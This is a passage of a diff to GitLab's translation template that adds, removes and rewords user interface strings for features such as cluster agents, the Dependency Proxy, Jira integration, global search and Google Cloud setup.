+msgid "ClusterAgents|The registration token will be used to connect the agent on your cluster to GitLab. %{linkStart}What are registration tokens?%{linkEnd}"
msgstr ""
msgid "ClusterAgents|This agent has no tokens"
msgstr ""
-msgid "ClusterAgents|To install an Agent you should create an agent directory in the Repository first. We recommend that you add the Agent configuration to the directory before you start the installation process."
+msgid "ClusterAgents|To install a new agent, first add the agent's configuration file to this repository. %{linkStart}What's the agent's configuration file?%{linkEnd}"
msgstr ""
msgid "ClusterAgents|Unknown user"
msgstr ""
+msgid "ClusterAgents|View all %{number} agents"
+msgstr ""
+
+msgid "ClusterAgents|View all %{number} clusters"
+msgstr ""
+
+msgid "ClusterAgents|You cannot see this token again after you close this window."
+msgstr ""
+
msgid "ClusterAgents|You will need to create a token to connect to your agent"
msgstr ""
+msgid "ClusterAgents|Your instance doesn't have the %{linkStart}GitLab Agent Server (KAS)%{linkEnd} set up. Ask a GitLab Administrator to install it."
+msgstr ""
+
msgid "ClusterAgent|User has insufficient permissions to create a token for this project"
msgstr ""
@@ -7824,15 +7994,18 @@ msgstr ""
msgid "ClusterIntegration|Clusters are utilized by selecting the nearest ancestor with a matching environment scope. For example, project clusters will override group clusters. %{linkStart}More information%{linkEnd}"
msgstr ""
-msgid "ClusterIntegration|Clusters connected with a certificate"
-msgstr ""
-
msgid "ClusterIntegration|Connect cluster with certificate"
msgstr ""
msgid "ClusterIntegration|Connect existing cluster"
msgstr ""
+msgid "ClusterIntegration|Connect with a certificate"
+msgstr ""
+
+msgid "ClusterIntegration|Connect your cluster to GitLab through %{linkStart}cluster certificates%{linkEnd}."
+msgstr ""
+
msgid "ClusterIntegration|Connection Error"
msgstr ""
@@ -7959,9 +8132,6 @@ msgstr ""
msgid "ClusterIntegration|Fetching zones"
msgstr ""
-msgid "ClusterIntegration|GitLab Agent managed clusters"
-msgstr ""
-
msgid "ClusterIntegration|GitLab Integration"
msgstr ""
@@ -8007,12 +8177,6 @@ msgstr ""
msgid "ClusterIntegration|Instance type"
msgstr ""
-msgid "ClusterIntegration|Integrate Kubernetes with a cluster certificate"
-msgstr ""
-
-msgid "ClusterIntegration|Integrate with a cluster certificate"
-msgstr ""
-
msgid "ClusterIntegration|Integration disabled"
msgstr ""
@@ -8034,9 +8198,6 @@ msgstr ""
msgid "ClusterIntegration|Kubernetes cluster was successfully created."
msgstr ""
-msgid "ClusterIntegration|Kubernetes clusters allow you to use review apps, deploy your applications, run your pipelines, and much more in an easy way."
-msgstr ""
-
msgid "ClusterIntegration|Kubernetes version"
msgstr ""
@@ -8337,6 +8498,9 @@ msgstr ""
msgid "ClusterIntegration|The URL used to access the Kubernetes API."
msgstr ""
+msgid "ClusterIntegration|The certificate-based method to connect clusters to GitLab was %{linkStart}deprecated%{linkEnd} in GitLab 14.5."
+msgstr ""
+
msgid "ClusterIntegration|The namespace associated with your project. This will be used for deploy boards, logs, and Web terminals."
msgstr ""
@@ -8391,6 +8555,9 @@ msgstr ""
msgid "ClusterIntegration|Unknown Error"
msgstr ""
+msgid "ClusterIntegration|Use the %{linkStart}GitLab Agent%{linkEnd} to safely connect your Kubernetes clusters to GitLab. You can deploy your applications, run your pipelines, use Review Apps, and much more."
+msgstr ""
+
msgid "ClusterIntegration|Uses the Cloud Run, Istio, and HTTP Load Balancing addons for this cluster."
msgstr ""
@@ -8448,9 +8615,6 @@ msgstr ""
msgid "Code"
msgstr ""
-msgid "Code Coverage: %{coveragePercentage}"
-msgstr ""
-
msgid "Code Coverage: %{coveragePercentage}%{percentSymbol}"
msgstr ""
@@ -8487,6 +8651,9 @@ msgstr ""
msgid "Code review"
msgstr ""
+msgid "Code snippet"
+msgstr ""
+
msgid "Code snippet copied. Insert it in the correct location in the YAML file."
msgstr ""
@@ -8914,6 +9081,12 @@ msgstr ""
msgid "Configure Prometheus"
msgstr ""
+msgid "Configure SAST IaC in `.gitlab-ci.yml` using the GitLab managed template. You can [add variable overrides](https://docs.gitlab.com/ee/user/application_security/sast/#customizing-the-sast-settings) to customize SAST IaC settings."
+msgstr ""
+
+msgid "Configure SAST IaC in `.gitlab-ci.yml`, creating this file if it does not already exist"
+msgstr ""
+
msgid "Configure SAST in `.gitlab-ci.yml` using the GitLab managed template. You can [add variable overrides](https://docs.gitlab.com/ee/user/application_security/sast/#customizing-the-sast-settings) to customize SAST settings."
msgstr ""
@@ -8926,6 +9099,9 @@ msgstr ""
msgid "Configure Secret Detection in `.gitlab-ci.yml`, creating this file if it does not already exist"
msgstr ""
+msgid "Configure Sentry integration for error tracking"
+msgstr ""
+
msgid "Configure Tracing"
msgstr ""
@@ -8965,9 +9141,6 @@ msgstr ""
msgid "Configure the way a user creates a new account."
msgstr ""
-msgid "Configure via Merge Request"
-msgstr ""
-
msgid "Configure which lists are shown for anyone who visits this board"
msgstr ""
@@ -9685,7 +9858,7 @@ msgstr ""
msgid "CorpusManagement|Latest Job:"
msgstr ""
-msgid "CorpusManagement|New corpus needs to be a upload in *.zip format. Maximum 10GB"
+msgid "CorpusManagement|New corpus needs to be a upload in *.zip format. Maximum 5GB"
msgstr ""
msgid "CorpusManagement|New upload"
@@ -9841,6 +10014,9 @@ msgstr ""
msgid "Create %{workspace} label"
msgstr ""
+msgid "Create Google Cloud project"
+msgstr ""
+
msgid "Create New Directory"
msgstr ""
@@ -10000,6 +10176,9 @@ msgstr ""
msgid "Create requirement"
msgstr ""
+msgid "Create service account"
+msgstr ""
+
msgid "Create snippet"
msgstr ""
@@ -10033,9 +10212,6 @@ msgstr ""
msgid "CreateTag|Tag"
msgstr ""
-msgid "CreateTokenToCloneLink|create a personal access token"
-msgstr ""
-
msgid "CreateValueStreamForm|%{name} (default)"
msgstr ""
@@ -10255,6 +10431,36 @@ msgstr ""
msgid "Critical vulnerabilities present"
msgstr ""
+msgid "Crm|Create new contact"
+msgstr ""
+
+msgid "Crm|Customer Relations Contacts"
+msgstr ""
+
+msgid "Crm|Description (optional)"
+msgstr ""
+
+msgid "Crm|Email"
+msgstr ""
+
+msgid "Crm|First name"
+msgstr ""
+
+msgid "Crm|Last name"
+msgstr ""
+
+msgid "Crm|New contact"
+msgstr ""
+
+msgid "Crm|No contacts found"
+msgstr ""
+
+msgid "Crm|No organizations found"
+msgstr ""
+
+msgid "Crm|Phone number (optional)"
+msgstr ""
+
msgid "Cron Timezone"
msgstr ""
@@ -10647,6 +10853,9 @@ msgstr ""
msgid "DORA4Metrics|The chart displays the median time between a merge request being merged and deployed to production environment(s) that are based on the %{linkStart}deployment_tier%{linkEnd} value."
msgstr ""
+msgid "DSN"
+msgstr ""
+
msgid "Dashboard"
msgstr ""
@@ -11296,6 +11505,9 @@ msgstr ""
msgid "Delete Key"
msgstr ""
+msgid "Delete Selected"
+msgstr ""
+
msgid "Delete Value Stream"
msgstr ""
@@ -11317,6 +11529,9 @@ msgstr ""
msgid "Delete corpus"
msgstr ""
+msgid "Delete deploy key"
+msgstr ""
+
msgid "Delete file"
msgstr ""
@@ -11371,9 +11586,6 @@ msgstr ""
msgid "Delete variable"
msgstr ""
-msgid "DeleteProject|Delete %{name}"
-msgstr ""
-
msgid "DeleteProject|Failed to remove project repository. Please try again or contact administrator."
msgstr ""
@@ -11419,6 +11631,12 @@ msgstr ""
msgid "Deleted projects cannot be restored!"
msgstr ""
+msgid "Deletes the source branch"
+msgstr ""
+
+msgid "Deletes the source branch."
+msgstr ""
+
msgid "Deleting"
msgstr ""
@@ -11542,6 +11760,9 @@ msgstr ""
msgid "Dependency Scanning"
msgstr ""
+msgid "Dependency list"
+msgstr ""
+
msgid "DependencyProxy|Cached %{time}"
msgstr ""
@@ -11557,19 +11778,25 @@ msgstr ""
msgid "DependencyProxy|Dependency Proxy"
msgstr ""
-msgid "DependencyProxy|Dependency Proxy disabled. To enable it, contact the group owner."
-msgstr ""
-
msgid "DependencyProxy|Dependency Proxy feature is limited to public groups for now."
msgstr ""
msgid "DependencyProxy|Dependency Proxy image prefix"
msgstr ""
-msgid "DependencyProxy|Enable Proxy"
+msgid "DependencyProxy|Enable Dependency Proxy"
+msgstr ""
+
+msgid "DependencyProxy|Image list"
+msgstr ""
+
+msgid "DependencyProxy|The Dependency Proxy is disabled. %{docLinkStart}Learn how to enable it%{docLinkEnd}."
+msgstr ""
+
+msgid "DependencyProxy|There are no images in the cache"
msgstr ""
-msgid "DependencyProxy|Manifest list"
+msgid "DependencyProxy|To see the image prefix and what is in the cache, visit the %{linkStart}Dependency Proxy%{linkEnd}"
msgstr ""
msgid "Depends on %d merge request being merged"
@@ -11815,9 +12042,6 @@ msgstr ""
msgid "Deployments"
msgstr ""
-msgid "Deployments to Google Kubernetes Engine can be "
-msgstr ""
-
msgid "Deployments|%{deployments} environment impacted."
msgid_plural "Deployments|%{deployments} environments impacted."
msgstr[0] ""
@@ -12051,7 +12275,7 @@ msgstr ""
msgid "DevOps Adoption"
msgstr ""
-msgid "DevOps Report"
+msgid "DevOps Reports"
msgstr ""
msgid "DevOps adoption"
@@ -12324,6 +12548,9 @@ msgstr ""
msgid "Disable"
msgstr ""
+msgid "Disable Elasticsearch until indexing completes."
+msgstr ""
+
msgid "Disable Two-factor Authentication"
msgstr ""
@@ -12493,6 +12720,9 @@ msgstr ""
msgid "Does not apply to projects in personal namespaces, which are deleted immediately on request."
msgstr ""
+msgid "Does not delete the source branch."
+msgstr ""
+
msgid "Domain"
msgstr ""
@@ -12583,9 +12813,6 @@ msgstr ""
msgid "Draft"
msgstr ""
-msgid "Draft merge requests can't be merged."
-msgstr ""
-
msgid "Drag your designs here or %{linkStart}click to upload%{linkEnd}."
msgstr ""
@@ -12619,6 +12846,9 @@ msgstr ""
msgid "DropdownWidget|No %{issuableAttribute} found"
msgstr ""
+msgid "DropdownWidget|No open %{issuableAttribute} found"
+msgstr ""
+
msgid "Due Date"
msgstr ""
@@ -12697,9 +12927,15 @@ msgstr ""
msgid "Edit comment"
msgstr ""
+msgid "Edit commit message"
+msgstr ""
+
msgid "Edit deploy freeze"
msgstr ""
+msgid "Edit deploy key"
+msgstr ""
+
msgid "Edit description"
msgstr ""
@@ -12793,6 +13029,9 @@ msgstr ""
msgid "Elasticsearch indexing started"
msgstr ""
+msgid "Elasticsearch migration halted"
+msgstr ""
+
msgid "Elasticsearch reindexing is already in progress"
msgstr ""
@@ -12808,6 +13047,9 @@ msgstr ""
msgid "Elasticsearch zero-downtime reindexing"
msgstr ""
+msgid "Elasticsearch's region."
+msgstr ""
+
msgid "Elastic|None. Select namespaces to index."
msgstr ""
@@ -12829,6 +13071,9 @@ msgstr ""
msgid "Email a new %{name} to this project"
msgstr ""
+msgid "Email address suffix"
+msgstr ""
+
msgid "Email address to use for Support Desk"
msgstr ""
@@ -12928,9 +13173,6 @@ msgstr ""
msgid "EmailsOnPushService|Send notifications from the committer's email address if the domain matches the domain used by your GitLab instance (such as %{domains})."
msgstr ""
-msgid "EmailsOnPushService|can't exceed %{recipients_limit}"
-msgstr ""
-
msgid "EmailsOnPushService|tanuki@example.com gitlab@example.com"
msgstr ""
@@ -12982,6 +13224,9 @@ msgstr ""
msgid "Enable SSL verification"
msgstr ""
+msgid "Enable Sentry error tracking"
+msgstr ""
+
msgid "Enable Service Ping"
msgstr ""
@@ -13003,6 +13248,9 @@ msgstr ""
msgid "Enable access to the performance bar for non-administrators in a given group."
msgstr ""
+msgid "Enable access tokens to expire after 2 hours. If disabled, tokens do not expire."
+msgstr ""
+
msgid "Enable admin mode"
msgstr ""
@@ -13075,6 +13323,9 @@ msgstr ""
msgid "Enable multipart emails"
msgstr ""
+msgid "Enable only for confidential applications exclusively used by a trusted backend server that can securely store the client secret. Do not enable for native-mobile, single-page, or other JavaScript applications because they cannot keep the client secret confidential."
+msgstr ""
+
msgid "Enable or disable the Pseudonymizer data collection."
msgstr ""
@@ -13249,6 +13500,12 @@ msgstr ""
msgid "Enter the number of seconds, or other human-readable input, like \"1 hour\". This timeout takes precedence over lower timeouts set for the project."
msgstr ""
+msgid "Enter the password for password-protected Elasticsearch servers."
+msgstr ""
+
+msgid "Enter the username for password-protected Elasticsearch servers."
+msgstr ""
+
msgid "Enter your Packagist server. Defaults to https://packagist.org."
msgstr ""
@@ -13334,16 +13591,13 @@ msgstr ""
msgid "EnvironmentsDashboard|More actions"
msgstr ""
-msgid "EnvironmentsDashboard|More information"
-msgstr ""
-
msgid "EnvironmentsDashboard|Remove"
msgstr ""
msgid "EnvironmentsDashboard|The environments dashboard provides a summary of each project's environments' status, including pipeline and alert statuses."
msgstr ""
-msgid "EnvironmentsDashboard|This dashboard displays 3 environments per project, and is linked to the Operations Dashboard. When you add or remove a project from one dashboard, GitLab adds or removes the project from the other. %{readMoreLink}"
+msgid "EnvironmentsDashboard|This dashboard displays 3 environments per project, and is linked to the Operations Dashboard. When you add or remove a project from one dashboard, GitLab adds or removes the project from the other. %{linkStart}More information%{linkEnd}"
msgstr ""
msgid "Environments|An error occurred while canceling the auto stop, please try again"
@@ -13583,9 +13837,6 @@ msgstr ""
msgid "Epics|Enter a title for your epic"
msgstr ""
-msgid "Epics|How can I solve this?"
-msgstr ""
-
msgid "Epics|Leave empty to inherit from milestone dates"
msgstr ""
@@ -13634,9 +13885,6 @@ msgstr ""
msgid "Epics|Something went wrong while removing issue from epic."
msgstr ""
-msgid "Epics|These dates affect how your epics appear in the roadmap. Dates from milestones come from the milestones assigned to issues in the epic. You can also set fixed dates or remove them entirely."
-msgstr ""
-
msgid "Epics|This epic and any containing child epics are confidential and should only be visible to team members with at least Reporter access."
msgstr ""
@@ -13973,7 +14221,7 @@ msgstr ""
msgid "EscalationPolicies|Escalation policies"
msgstr ""
-msgid "EscalationPolicies|Escalation policy %{obstacle} in Project %{project}"
+msgid "EscalationPolicies|Escalation policy %{obstacle} in project %{project}"
msgstr ""
msgid "EscalationPolicies|Escalation rules"
@@ -14157,9 +14405,6 @@ msgstr ""
msgid "Exceptions"
msgstr ""
-msgid "Excess storage"
-msgstr ""
-
msgid "Excluding merge commits. Limited to %{limit} commits."
msgstr ""
@@ -14277,6 +14522,12 @@ msgstr ""
msgid "Explore public groups"
msgstr ""
+msgid "Explore snippets"
+msgstr ""
+
+msgid "Explore topics"
+msgstr ""
+
msgid "Export"
msgstr ""
@@ -14352,6 +14603,12 @@ msgstr ""
msgid "ExternalAuthorizationService|When no classification label is set the default label `%{default_label}` will be used."
msgstr ""
+msgid "ExternalIssueIntegration|Not all data may be displayed here. To view more details or make changes to this issue, go to %{linkStart}%{trackerName}%{linkEnd}."
+msgstr ""
+
+msgid "ExternalIssueIntegration|This issue is synchronized with %{trackerName}"
+msgstr ""
+
msgid "ExternalWikiService|External wiki"
msgstr ""
@@ -14470,6 +14727,9 @@ msgstr ""
msgid "Failed to install."
msgstr ""
+msgid "Failed to load"
+msgstr ""
+
msgid "Failed to load assignees."
msgstr ""
@@ -14536,6 +14796,9 @@ msgstr ""
msgid "Failed to move this issue because target project doesn't exist."
msgstr ""
+msgid "Failed to promote issue to incident"
+msgstr ""
+
msgid "Failed to promote label due to internal error. Please contact administrators."
msgstr ""
@@ -14548,9 +14811,6 @@ msgstr ""
msgid "Failed to publish issue on status page."
msgstr ""
-msgid "Failed to register Agent"
-msgstr ""
-
msgid "Failed to remove a Zoom meeting"
msgstr ""
@@ -14994,6 +15254,9 @@ msgstr ""
msgid "Filter by merge requests that are currently merged."
msgstr ""
+msgid "Filter by milestone"
+msgstr ""
+
msgid "Filter by milestone name"
msgstr ""
@@ -15090,15 +15353,6 @@ msgstr ""
msgid "Fixed burndown chart"
msgstr ""
-msgid "Fixed date"
-msgstr ""
-
-msgid "Fixed due date"
-msgstr ""
-
-msgid "Fixed start date"
-msgstr ""
-
msgid "Fixed:"
msgstr ""
@@ -15177,6 +15431,9 @@ msgstr ""
msgid "For example, the application using the token or the purpose of the token."
msgstr ""
+msgid "For files larger than this limit, only index the file name. The file content is neither indexed nor searchable."
+msgstr ""
+
msgid "For general work"
msgstr ""
@@ -15390,6 +15647,9 @@ msgstr ""
msgid "Generate site and private keys at"
msgstr ""
+msgid "Generated service account is linked to the selected environment"
+msgstr ""
+
msgid "Generic"
msgstr ""
@@ -15495,9 +15755,6 @@ msgstr ""
msgid "Geo|Could not remove tracking entry for an existing project."
msgstr ""
-msgid "Geo|Could not remove tracking entry for an existing upload."
-msgstr ""
-
msgid "Geo|Data replication lag"
msgstr ""
@@ -15771,9 +16028,6 @@ msgstr ""
msgid "Geo|Tracking entry for project (%{project_id}) was successfully removed."
msgstr ""
-msgid "Geo|Tracking entry for upload (%{type}/%{id}) was successfully removed."
-msgstr ""
-
msgid "Geo|URL can't be blank"
msgstr ""
@@ -15945,6 +16199,9 @@ msgstr ""
msgid "GitLab account request rejected"
msgstr ""
+msgid "GitLab and Google Cloud configuration seems to be incomplete. This probably can be fixed by your GitLab administration team. You may share these logs with them:"
+msgstr ""
+
msgid "GitLab commit"
msgstr ""
@@ -16008,6 +16265,9 @@ msgstr ""
msgid "GitLab version"
msgstr ""
+msgid "GitLab will create a branch in your fork and start a merge request."
+msgstr ""
+
msgid "GitLab.com"
msgstr ""
@@ -16179,6 +16439,51 @@ msgstr ""
msgid "Global notification settings"
msgstr ""
+msgid "GlobalSearch|%{count} default results provided. Use the up and down arrow keys to navigate search results list."
+msgstr ""
+
+msgid "GlobalSearch|Issues I've created"
+msgstr ""
+
+msgid "GlobalSearch|Issues assigned to me"
+msgstr ""
+
+msgid "GlobalSearch|Merge requests I've created"
+msgstr ""
+
+msgid "GlobalSearch|Merge requests assigned to me"
+msgstr ""
+
+msgid "GlobalSearch|Merge requests that I'm a reviewer"
+msgstr ""
+
+msgid "GlobalSearch|Results updated. %{count} results available. Use the up and down arrow keys to navigate search results list, or ENTER to submit."
+msgstr ""
+
+msgid "GlobalSearch|Search GitLab"
+msgstr ""
+
+msgid "GlobalSearch|Search or jump to..."
+msgstr ""
+
+msgid "GlobalSearch|Search results are loading"
+msgstr ""
+
+msgid "GlobalSearch|Type and press the enter key to submit search."
+msgstr ""
+
+msgid "GlobalSearch|Type for new suggestions to appear below."
+msgstr ""
+
+msgid "GlobalSearch|in all GitLab"
+msgstr ""
+
+msgid "GlobalSearch|in group"
+msgstr ""
+
+msgid "GlobalSearch|in project"
+msgstr ""
+
msgid "Go Back"
msgstr ""
@@ -16326,7 +16631,19 @@ msgstr ""
msgid "Google Cloud"
msgstr ""
-msgid "Google Cloud offers several deployment targets. Select the one most suitable for your project."
+msgid "Google Cloud Project"
+msgstr ""
+
+msgid "Google Cloud authorizations required"
+msgstr ""
+
+msgid "Google Cloud project"
+msgstr ""
+
+msgid "Google Cloud project misconfigured"
+msgstr ""
+
+msgid "Google Cloud project required"
msgstr ""
msgid "Google authentication is not %{link_start}properly configured%{link_end}. Ask your GitLab administrator if you want to use this service."
@@ -16383,6 +16700,9 @@ msgstr ""
msgid "GraphViewType|Stage"
msgstr ""
+msgid "Graphs"
+msgstr ""
+
msgid "Gravatar"
msgstr ""
@@ -16647,7 +16967,7 @@ msgstr ""
msgid "GroupSAML|\"persistent\" recommended"
msgstr ""
-msgid "GroupSAML|%{strongOpen}Warning%{strongClose} - Enabling %{linkStart}SSO enforcement%{linkEnd} can reduce security risks."
+msgid "GroupSAML|%{strongOpen}Warning%{strongClose} - Enable %{linkStart}SSO enforcement%{linkEnd} to reduce security risks."
msgstr ""
msgid "GroupSAML|Active SAML Group Links (%{count})"
@@ -16947,6 +17267,12 @@ msgstr ""
msgid "GroupSettings|What are badges?"
msgstr ""
+msgid "GroupSettings|When the number of active users exceeds this number, additional users must be %{user_cap_docs_link_start}approved by an owner%{user_cap_docs_link_end}. Leave empty if you don't want to enforce approvals."
+msgstr ""
+
+msgid "GroupSettings|When the number of active users exceeds this number, additional users must be %{user_cap_docs_link_start}approved by an owner%{user_cap_docs_link_end}. Leave empty if you don't want to enforce approvals. Increasing the user cap will not automatically approve pending users."
+msgstr ""
+
msgid "GroupSettings|You can only transfer the group to a group you manage."
msgstr ""
@@ -17124,7 +17450,10 @@ msgstr ""
msgid "Hashed storage can't be disabled anymore for new projects"
msgstr ""
-msgid "Header cannot be associated with both a request and a response"
+msgid "Have a quick chat with us about your experience."
+msgstr ""
+
+msgid "Have more to say about GitLab?"
msgstr ""
msgid "Header logo"
@@ -17139,7 +17468,10 @@ msgstr ""
msgid "Header message"
msgstr ""
-msgid "Header must be associated with a request or response"
+msgid "HeaderAction|incident"
+msgstr ""
+
+msgid "HeaderAction|issue"
msgstr ""
msgid "Headers"
@@ -17238,6 +17570,9 @@ msgstr ""
msgid "Hi %{username}!"
msgstr ""
+msgid "Hidden"
+msgstr ""
+
msgid "Hide"
msgstr ""
@@ -17507,7 +17842,7 @@ msgstr ""
msgid "Identities"
msgstr ""
-msgid "If any indexed field exceeds this limit it will be truncated to this number of characters and the rest will not be indexed or searchable. This does not apply to repository and wiki indexing. Setting this to 0 means it is unlimited."
+msgid "If any indexed field exceeds this limit, it is truncated to this number of characters. The rest of the content is neither indexed nor searchable. This does not apply to repository and wiki indexing. For unlimited characters, set this to 0."
msgstr ""
msgid "If blank, defaults to %{code_open}Retry later%{code_close}."
@@ -17546,6 +17881,9 @@ msgstr ""
msgid "If the number of active users exceeds the user limit, you will be charged for the number of %{users_over_license_link} at your next license reconciliation."
msgstr ""
+msgid "If there isn't any existing index, GitLab creates one."
+msgstr ""
+
msgid "If this email was added in error, you can remove it here:"
msgstr ""
@@ -18329,7 +18667,10 @@ msgstr ""
msgid "IncidentManagement|All"
msgstr ""
-msgid "IncidentManagement|All alerts promoted to incidents will automatically be displayed within the list. You can also create a new incident using the button below."
+msgid "IncidentManagement|All alerts promoted to incidents are automatically displayed within the list."
+msgstr ""
+
+msgid "IncidentManagement|All alerts promoted to incidents are automatically displayed within the list. You can also create a new incident using the button below."
msgstr ""
msgid "IncidentManagement|Assignees"
@@ -18494,9 +18835,6 @@ msgstr ""
msgid "Include description in commit message"
msgstr ""
-msgid "Include merge request description"
-msgstr ""
-
msgid "Include new features from all tiers."
msgstr ""
@@ -18560,6 +18898,9 @@ msgstr ""
msgid "Infrastructure Registry"
msgstr ""
+msgid "Infrastructure as Code (IaC) Scanning"
+msgstr ""
+
msgid "InfrastructureRegistry|Copy Terraform Command"
msgstr ""
@@ -18777,12 +19118,18 @@ msgstr ""
msgid "Integrations|Default settings are inherited from the instance level."
msgstr ""
+msgid "Integrations|Edit project alias"
+msgstr ""
+
msgid "Integrations|Enable GitLab.com slash commands in a Slack workspace."
msgstr ""
msgid "Integrations|Enable comments"
msgstr ""
+msgid "Integrations|Enter your alias"
+msgstr ""
+
msgid "Integrations|Failed to link namespace. Please try again."
msgstr ""
@@ -18900,6 +19247,9 @@ msgstr ""
msgid "Integrations|You can now close this window and return to the GitLab for Jira application."
msgstr ""
+msgid "Integrations|You can use this alias in your Slack commands"
+msgstr ""
+
msgid "Integrations|You haven't activated any integrations yet."
msgstr ""
@@ -18915,6 +19265,12 @@ msgstr ""
msgid "Integrations|ZenTao issues display here when you create issues in your project in ZenTao."
msgstr ""
+msgid "Integrations|can't exceed %{recipients_limit}"
+msgstr ""
+
+msgid "Interactive developer security education."
+msgstr ""
+
msgid "Interactive mode"
msgstr ""
@@ -18945,7 +19301,10 @@ msgstr ""
msgid "Interval Pattern"
msgstr ""
-msgid "Introducing Your DevOps Report"
+msgid "Introduced in GitLab 13.1, before using %{reindexing_link_start}zero-downtime reindexing%{link_end} and %{migrations_link_start}Advanced Search migrations%{link_end}, you need to %{recreate_link_start}recreate your index%{link_end}."
+msgstr ""
+
+msgid "Introducing Your DevOps Reports"
msgstr ""
msgid "Invalid Insights config file detected"
@@ -19002,7 +19361,7 @@ msgstr ""
msgid "Invalid period"
msgstr ""
-msgid "Invalid pin code"
+msgid "Invalid pin code."
msgstr ""
msgid "Invalid pod_name"
@@ -19140,22 +19499,19 @@ msgstr ""
msgid "InviteMembersModal|Close invite team members"
msgstr ""
-msgid "InviteMembersModal|Collaborate on open issues and merge requests"
-msgstr ""
-
-msgid "InviteMembersModal|Configure CI/CD"
+msgid "InviteMembersModal|Congratulations on creating your project, you're almost there!"
msgstr ""
-msgid "InviteMembersModal|Configure security features"
+msgid "InviteMembersModal|Create issues for your new team member to work on (optional)"
msgstr ""
-msgid "InviteMembersModal|Contribute to the codebase"
+msgid "InviteMembersModal|GitLab is better with colleagues!"
msgstr ""
-msgid "InviteMembersModal|Create issues for your new team member to work on (optional)"
+msgid "InviteMembersModal|GitLab member or email address"
msgstr ""
-msgid "InviteMembersModal|GitLab member or email address"
+msgid "InviteMembersModal|How about inviting a colleague or two to join you?"
msgstr ""
msgid "InviteMembersModal|Invite"
@@ -19170,9 +19526,6 @@ msgstr ""
msgid "InviteMembersModal|Members were successfully added"
msgstr ""
-msgid "InviteMembersModal|Other"
-msgstr ""
-
msgid "InviteMembersModal|Search for a group to invite"
msgstr ""
@@ -19191,9 +19544,6 @@ msgstr ""
msgid "InviteMembersModal|To assign issues to a new team member, you need a project for the issues. %{linkStart}Create a project to get started.%{linkEnd}"
msgstr ""
-msgid "InviteMembersModal|What would you like new member(s) to focus on? (optional)"
-msgstr ""
-
msgid "InviteMembersModal|You're inviting a group to the %{strongStart}%{name}%{strongEnd} group."
msgstr ""
@@ -19380,6 +19730,9 @@ msgstr ""
msgid "Issue first deployed to production"
msgstr ""
+msgid "Issue has been promoted to incident"
+msgstr ""
+
msgid "Issue label"
msgstr ""
@@ -19455,6 +19808,9 @@ msgstr ""
msgid "IssueBoards|Switch board"
msgstr ""
+msgid "IssueList|created %{timeAgoString} by %{user}"
+msgstr ""
+
msgid "IssueTracker|Custom issue tracker"
msgstr ""
@@ -19512,16 +19868,13 @@ msgstr ""
msgid "Issues"
msgstr ""
-msgid "Issues I've created"
-msgstr ""
-
msgid "Issues Rate Limits"
msgstr ""
msgid "Issues and merge requests"
msgstr ""
-msgid "Issues assigned to me"
+msgid "Issues are being rebalanced at the moment, so manual reordering is disabled."
msgstr ""
msgid "Issues can be bugs, tasks or ideas to be discussed. Also, issues are searchable and filterable."
@@ -19530,9 +19883,6 @@ msgstr ""
msgid "Issues closed"
msgstr ""
-msgid "Issues manual ordering is temporarily disabled for technical reasons."
-msgstr ""
-
msgid "Issues must match this scope to appear in this list."
msgstr ""
@@ -19626,6 +19976,9 @@ msgstr ""
msgid "Iterations|Automated scheduling"
msgstr ""
+msgid "Iterations|Cadence configuration is invalid."
+msgstr ""
+
msgid "Iterations|Cadence name"
msgstr ""
@@ -19635,6 +19988,9 @@ msgstr ""
msgid "Iterations|Create cadence"
msgstr ""
+msgid "Iterations|Create cadence and start iteration"
+msgstr ""
+
msgid "Iterations|Create iteration"
msgstr ""
@@ -19731,9 +20087,15 @@ msgstr ""
msgid "Iterations|Title"
msgstr ""
+msgid "Iterations|Unable to find iteration cadence."
+msgstr ""
+
msgid "Iterations|Unable to find iteration."
msgstr ""
+msgid "Iterations|Unable to save cadence. Please try again."
+msgstr ""
+
msgid "Iteration|Dates cannot overlap with other existing Iterations within this group"
msgstr ""
@@ -19758,9 +20120,6 @@ msgstr ""
msgid "Japanese language support using"
msgstr ""
-msgid "Jira Issues"
-msgstr ""
-
msgid "Jira display name"
msgstr ""
@@ -19869,18 +20228,9 @@ msgstr ""
msgid "JiraService|Events for %{noteable_model_name} are disabled."
msgstr ""
-msgid "JiraService|Failed to load Jira issue statuses. View the issue in Jira, or reload the page."
-msgstr ""
-
msgid "JiraService|Failed to load Jira issue. View the issue in Jira, or reload the page."
msgstr ""
-msgid "JiraService|Failed to update Jira issue labels. View the issue in Jira, or reload the page."
-msgstr ""
-
-msgid "JiraService|Failed to update Jira issue status. View the issue in Jira, or reload the page."
-msgstr ""
-
msgid "JiraService|Fetch issue types for this Jira project"
msgstr ""
@@ -19899,18 +20249,12 @@ msgstr ""
msgid "JiraService|If different from Web URL."
msgstr ""
-msgid "JiraService|Issue List"
-msgstr ""
-
msgid "JiraService|Issues created from vulnerabilities in this project will be Jira issues, even if GitLab issues are enabled."
msgstr ""
msgid "JiraService|Jira API URL"
msgstr ""
-msgid "JiraService|Jira Issues"
-msgstr ""
-
msgid "JiraService|Jira comments are created when an issue is referenced in a commit."
msgstr ""
@@ -19920,6 +20264,9 @@ msgstr ""
msgid "JiraService|Jira issue type"
msgstr ""
+msgid "JiraService|Jira issues"
+msgstr ""
+
msgid "JiraService|Jira project key"
msgstr ""
@@ -19929,12 +20276,6 @@ msgstr ""
msgid "JiraService|Move to Done"
msgstr ""
-msgid "JiraService|No available statuses"
-msgstr ""
-
-msgid "JiraService|Not all data may be displayed here. To view more details or make changes to this issue, go to %{linkStart}Jira%{linkEnd}."
-msgstr ""
-
msgid "JiraService|Open Jira"
msgstr ""
@@ -19965,9 +20306,6 @@ msgstr ""
msgid "JiraService|This is an Ultimate feature"
msgstr ""
-msgid "JiraService|This issue is synchronized with Jira"
-msgstr ""
-
msgid "JiraService|Transition Jira issues to their final state:"
msgstr ""
@@ -20265,6 +20603,9 @@ msgstr ""
msgid "Ki"
msgstr ""
+msgid "Kontra"
+msgstr ""
+
msgid "Kroki"
msgstr ""
@@ -20611,7 +20952,7 @@ msgstr ""
msgid "Learn more about groups."
msgstr ""
-msgid "Learn more about shards and replicas in the %{configuration_link_start}Advanced search configuration%{configuration_link_end} documentation. Changes won't take place until the index is %{recreated_link_start}recreated%{recreated_link_end}."
+msgid "Learn more about shards and replicas in the %{configuration_link_start}Advanced Search configuration%{configuration_link_end} documentation. Changes don't take place until you %{recreated_link_start}recreate%{recreated_link_end} the index."
msgstr ""
msgid "Learn more about signing commits"
@@ -20716,6 +21057,9 @@ msgstr ""
msgid "LearnGitLab|Use your new GitLab workflow to deploy your application, monitor its health, and keep it secure:"
msgstr ""
